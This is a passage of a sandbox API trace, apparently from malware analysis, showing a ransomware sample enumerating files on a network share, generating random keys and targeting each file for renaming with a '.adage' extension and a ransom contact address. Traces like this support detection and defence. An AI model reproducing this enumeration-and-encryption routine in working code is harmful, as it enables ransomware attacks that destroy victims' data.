(hObject=0x14c) returned 1 [0040.654] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NBAT3tYNBcHdC.ppt" (normalized: "\\\\192.168.0.1\\documents\\nbat3tynbchdc.ppt")) returned 0x80 [0040.654] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NBAT3tYNBcHdC.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\nbat3tynbchdc.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.655] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\NBAT3tYNBcHdC.ppt" (normalized: "\\\\192.168.0.1\\documents\\nbat3tynbchdc.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.659] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.659] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SHCEF.gif" (normalized: "\\\\192.168.0.1\\documents\\shcef.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.660] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=62335) returned 1 [0040.660] CloseHandle (hObject=0x14c) returned 1 [0040.660] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SHCEF.gif" (normalized: "\\\\192.168.0.1\\documents\\shcef.gif")) returned 0x80 [0040.661] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SHCEF.gif.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\shcef.gif.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.661] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\SHCEF.gif" (normalized: "\\\\192.168.0.1\\documents\\shcef.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.664] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.664] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZcPV3qk7PkeQOKKV.xls" (normalized: "\\\\192.168.0.1\\documents\\zcpv3qk7pkeqokkv.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.689] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=41773) returned 1 [0040.690] CloseHandle (hObject=0x14c) returned 1 [0040.690] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZcPV3qk7PkeQOKKV.xls" (normalized: "\\\\192.168.0.1\\documents\\zcpv3qk7pkeqokkv.xls")) returned 0x80 [0040.691] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZcPV3qk7PkeQOKKV.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\zcpv3qk7pkeqokkv.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.691] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ZcPV3qk7PkeQOKKV.xls" (normalized: "\\\\192.168.0.1\\documents\\zcpv3qk7pkeqokkv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.696] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.696] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EOk7P095P.xls" (normalized: "\\\\192.168.0.1\\documents\\eok7p095p.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.730] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=45496) returned 1 [0040.730] CloseHandle (hObject=0x14c) returned 1 [0040.730] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EOk7P095P.xls" (normalized: "\\\\192.168.0.1\\documents\\eok7p095p.xls")) returned 0x80 [0040.731] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EOk7P095P.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\eok7p095p.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.732] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\EOk7P095P.xls" (normalized: "\\\\192.168.0.1\\documents\\eok7p095p.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.735] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.735] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BDK13uXlqscCs2sGFIQ.doc" (normalized: "\\\\192.168.0.1\\documents\\bdk13uxlqsccs2sgfiq.doc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.808] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=23493) returned 1 [0040.809] CloseHandle (hObject=0x14c) returned 1 [0040.809] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BDK13uXlqscCs2sGFIQ.doc" (normalized: "\\\\192.168.0.1\\documents\\bdk13uxlqsccs2sgfiq.doc")) returned 0x80 [0040.810] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BDK13uXlqscCs2sGFIQ.doc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\bdk13uxlqsccs2sgfiq.doc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.810] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BDK13uXlqscCs2sGFIQ.doc" (normalized: "\\\\192.168.0.1\\documents\\bdk13uxlqsccs2sgfiq.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.819] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.819] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLUwMaQCvDlNDoCoQ3.xls" (normalized: "\\\\192.168.0.1\\documents\\kluwmaqcvdlndocoq3.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0040.966] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=73178) returned 1 [0040.966] CloseHandle (hObject=0x14c) returned 1 [0040.966] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLUwMaQCvDlNDoCoQ3.xls" (normalized: "\\\\192.168.0.1\\documents\\kluwmaqcvdlndocoq3.xls")) returned 0x80 [0040.968] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLUwMaQCvDlNDoCoQ3.xls.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\kluwmaqcvdlndocoq3.xls.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0040.968] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\KLUwMaQCvDlNDoCoQ3.xls" (normalized: "\\\\192.168.0.1\\documents\\kluwmaqcvdlndocoq3.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.973] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0040.973] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RBkxpRf3.m4a" (normalized: "\\\\192.168.0.1\\documents\\rbkxprf3.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.114] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=93952) returned 1 [0041.114] CloseHandle (hObject=0x14c) returned 1 [0041.114] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RBkxpRf3.m4a" (normalized: "\\\\192.168.0.1\\documents\\rbkxprf3.m4a")) returned 0x80 [0041.115] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RBkxpRf3.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\rbkxprf3.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.115] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\RBkxpRf3.m4a" (normalized: "\\\\192.168.0.1\\documents\\rbkxprf3.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.120] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0041.121] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OCVoNePy.png" (normalized: "\\\\192.168.0.1\\documents\\ocvonepy.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.151] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=88645) returned 1 [0041.151] CloseHandle (hObject=0x14c) returned 1 [0041.151] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OCVoNePy.png" (normalized: "\\\\192.168.0.1\\documents\\ocvonepy.png")) returned 0x80 [0041.151] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OCVoNePy.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ocvonepy.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.152] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\OCVoNePy.png" (normalized: "\\\\192.168.0.1\\documents\\ocvonepy.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.189] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0041.189] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ywcd6Y1iM3n9j4GZ20Ya.png" (normalized: "\\\\192.168.0.1\\documents\\ywcd6y1im3n9j4gz20ya.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.193] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=94142) returned 1 [0041.193] CloseHandle (hObject=0x14c) returned 1 [0041.193] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ywcd6Y1iM3n9j4GZ20Ya.png" (normalized: "\\\\192.168.0.1\\documents\\ywcd6y1im3n9j4gz20ya.png")) returned 0x80 [0041.193] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ywcd6Y1iM3n9j4GZ20Ya.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ywcd6y1im3n9j4gz20ya.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.194] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ywcd6Y1iM3n9j4GZ20Ya.png" (normalized: "\\\\192.168.0.1\\documents\\ywcd6y1im3n9j4gz20ya.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.217] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0041.217] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhsbCQy.csv" (normalized: "\\\\192.168.0.1\\documents\\ahsbcqy.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.256] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=50689) returned 1 [0041.256] CloseHandle (hObject=0x14c) returned 1 [0041.256] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhsbCQy.csv" (normalized: "\\\\192.168.0.1\\documents\\ahsbcqy.csv")) returned 0x80 [0041.257] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhsbCQy.csv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ahsbcqy.csv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.257] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\AhsbCQy.csv" (normalized: "\\\\192.168.0.1\\documents\\ahsbcqy.csv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.289] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0041.289] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tE4nVH8Z0MXjyxhaHaNx.pdf" (normalized: "\\\\192.168.0.1\\documents\\te4nvh8z0mxjyxhahanx.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.296] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=72631) returned 1 [0041.296] CloseHandle (hObject=0x14c) returned 1 [0041.296] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tE4nVH8Z0MXjyxhaHaNx.pdf" (normalized: "\\\\192.168.0.1\\documents\\te4nvh8z0mxjyxhahanx.pdf")) returned 0x80 [0041.297] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tE4nVH8Z0MXjyxhaHaNx.pdf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\te4nvh8z0mxjyxhahanx.pdf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.297] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\tE4nVH8Z0MXjyxhaHaNx.pdf" (normalized: "\\\\192.168.0.1\\documents\\te4nvh8z0mxjyxhahanx.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.428] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0041.428] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CAYEd2GbRKcU4.jpg" (normalized: "\\\\192.168.0.1\\documents\\cayed2gbrkcu4.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.569] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=38774) returned 1 [0041.569] CloseHandle (hObject=0x14c) returned 1 [0041.569] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CAYEd2GbRKcU4.jpg" (normalized: "\\\\192.168.0.1\\documents\\cayed2gbrkcu4.jpg")) returned 0x80 [0041.570] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CAYEd2GbRKcU4.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\cayed2gbrkcu4.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.570] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\CAYEd2GbRKcU4.jpg" (normalized: "\\\\192.168.0.1\\documents\\cayed2gbrkcu4.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.578] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0041.578] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BrKxpbhKKRTpU.docx" (normalized: "\\\\192.168.0.1\\documents\\brkxpbhkkrtpu.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.579] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=88923) returned 1 [0041.579] CloseHandle (hObject=0x14c) returned 1 [0041.580] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BrKxpbhKKRTpU.docx" (normalized: "\\\\192.168.0.1\\documents\\brkxpbhkkrtpu.docx")) returned 0x80 [0041.580] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BrKxpbhKKRTpU.docx.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\brkxpbhkkrtpu.docx.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.580] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\BrKxpbhKKRTpU.docx" (normalized: "\\\\192.168.0.1\\documents\\brkxpbhkkrtpu.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.725] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0041.725] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fmkPuhgsIQDpQcV3y.ppt" (normalized: "\\\\192.168.0.1\\documents\\fmkpuhgsiqdpqcv3y.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.726] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=77362) returned 1 [0041.727] CloseHandle (hObject=0x14c) returned 1 [0041.727] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fmkPuhgsIQDpQcV3y.ppt" (normalized: "\\\\192.168.0.1\\documents\\fmkpuhgsiqdpqcv3y.ppt")) returned 0x80 [0041.727] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fmkPuhgsIQDpQcV3y.ppt.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\fmkpuhgsiqdpqcv3y.ppt.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.728] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\fmkPuhgsIQDpQcV3y.ppt" (normalized: "\\\\192.168.0.1\\documents\\fmkpuhgsiqdpqcv3y.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.731] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0041.731] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdbHKY8ircatAsd.mp3" (normalized: "\\\\192.168.0.1\\documents\\cdbhky8ircatasd.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.732] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=83427) returned 1 [0041.733] CloseHandle (hObject=0x14c) returned 1 [0041.733] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdbHKY8ircatAsd.mp3" (normalized: "\\\\192.168.0.1\\documents\\cdbhky8ircatasd.mp3")) returned 0x80 [0041.733] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdbHKY8ircatAsd.mp3.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\cdbhky8ircatasd.mp3.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.733] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\cdbHKY8ircatAsd.mp3" (normalized: "\\\\192.168.0.1\\documents\\cdbhky8ircatasd.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0041.737] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0041.737] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6tY3yjB6Dh6qgWl.odp" (normalized: "\\\\192.168.0.1\\documents\\s6ty3yjb6dh6qgwl.odp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0041.842] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=91860) returned 1 [0041.842] CloseHandle (hObject=0x14c) returned 1 [0041.842] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6tY3yjB6Dh6qgWl.odp" (normalized: "\\\\192.168.0.1\\documents\\s6ty3yjb6dh6qgwl.odp")) returned 0x80 [0041.843] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6tY3yjB6Dh6qgWl.odp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\s6ty3yjb6dh6qgwl.odp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0041.844] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\s6tY3yjB6Dh6qgWl.odp" (normalized: "\\\\192.168.0.1\\documents\\s6ty3yjb6dh6qgwl.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.034] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0042.034] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ry23qi7rroS58F.m4a" (normalized: "\\\\192.168.0.1\\documents\\ry23qi7rros58f.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0042.123] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=55081) returned 1 [0042.123] CloseHandle (hObject=0x14c) returned 1 [0042.123] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ry23qi7rroS58F.m4a" (normalized: "\\\\192.168.0.1\\documents\\ry23qi7rros58f.m4a")) returned 0x80 [0042.124] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ry23qi7rroS58F.m4a.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\ry23qi7rros58f.m4a.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0042.124] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\ry23qi7rroS58F.m4a" (normalized: "\\\\192.168.0.1\\documents\\ry23qi7rros58f.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0042.826] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0042.826] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\byUWhwwpU4G7YhqN.png" (normalized: "\\\\192.168.0.1\\documents\\byuwhwwpu4g7yhqn.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0042.861] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2dafdc8 | out: lpFileSize=0x2dafdc8*=78400) returned 1 [0042.861] CloseHandle (hObject=0x14c) returned 1 [0042.862] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\byUWhwwpU4G7YhqN.png" (normalized: "\\\\192.168.0.1\\documents\\byuwhwwpu4g7yhqn.png")) returned 0x80 [0042.862] GetFileAttributesW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\byUWhwwpU4G7YhqN.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "\\\\192.168.0.1\\documents\\byuwhwwpu4g7yhqn.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0042.862] CreateFileW (lpFileName="\\\\?\\UNC\\192.168.0.1\\documents\\byUWhwwpU4G7YhqN.png" (normalized: "\\\\192.168.0.1\\documents\\byuwhwwpu4g7yhqn.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0043.599] CryptGenRandom (in: hProv=0x735018, dwLen=0x10, pbBuffer=0x2dafe30 | out: pbBuffer=0x2dafe30) returned 1 [0043.599] CreateFileW 